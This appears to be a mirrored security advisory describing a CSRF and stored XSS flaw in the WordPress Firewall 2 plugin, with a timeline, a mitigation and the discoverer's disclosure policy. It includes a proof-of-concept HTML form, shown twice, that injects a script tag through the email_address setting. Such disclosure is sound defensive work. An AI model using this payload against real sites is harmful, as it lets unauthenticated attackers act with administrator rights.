Wordpress Plugin Firewall 2 CSRF/stored XSS vulnerability

2017-04-07T00:00:00
ID SSV:92917
Type seebug
Reporter Anonymous
Modified 2017-04-07T00:00:00

Description

Description

CSRF/stored XSS in WordPress Firewall 2 allows unauthenticated attackers to do almost anything an admin can

Vulnerability

HTML is not escaped and there is no CSRF prevention, meaning attackers can put arbitrary HTML content onto the settings page.

Proof of concept

Visit the following page, click on the submit button, then visit the plugin’s options page: <form method=\"POST\" action=\"http://localhost/wp-admin/options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php\";> <input type=\"text\" name=\"email_address\" value=\""><script>alert(1)</script>\"> <input type=\"text\" name=\"set_email\" value=\"Set Email\"> <input type=\"submit\"> </form> In a real attack, forms can be submitted automatically and spear-phishing attacks can be convincing.

Mitigations

Disable the plugin until a new version is released that fixes this bug.

Disclosure policy

dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy:
https://security.dxw.com/disclosure/

Please contact us on security () dxw com to acknowledge this report if you received it via a third party (for example, plugins () wordpress org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline

2016-12-23: Discovered
2017-03-16: Reported to vendor by email
2017-04-04: Vendor could not be contacted

Discovered by dxw:

Tom Adams Please visit security.dxw.com for more information.

                                        
                                            
                                                <form method=\"POST\" 
action=\"http://localhost/wp-admin/options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php\";>
  <input type=\"text\" name=\"email_address\" value=\""><script>alert(1)</script>\">
  <input type=\"text\" name=\"set_email\" value=\"Set Email\">
  <input type=\"submit\">
</form>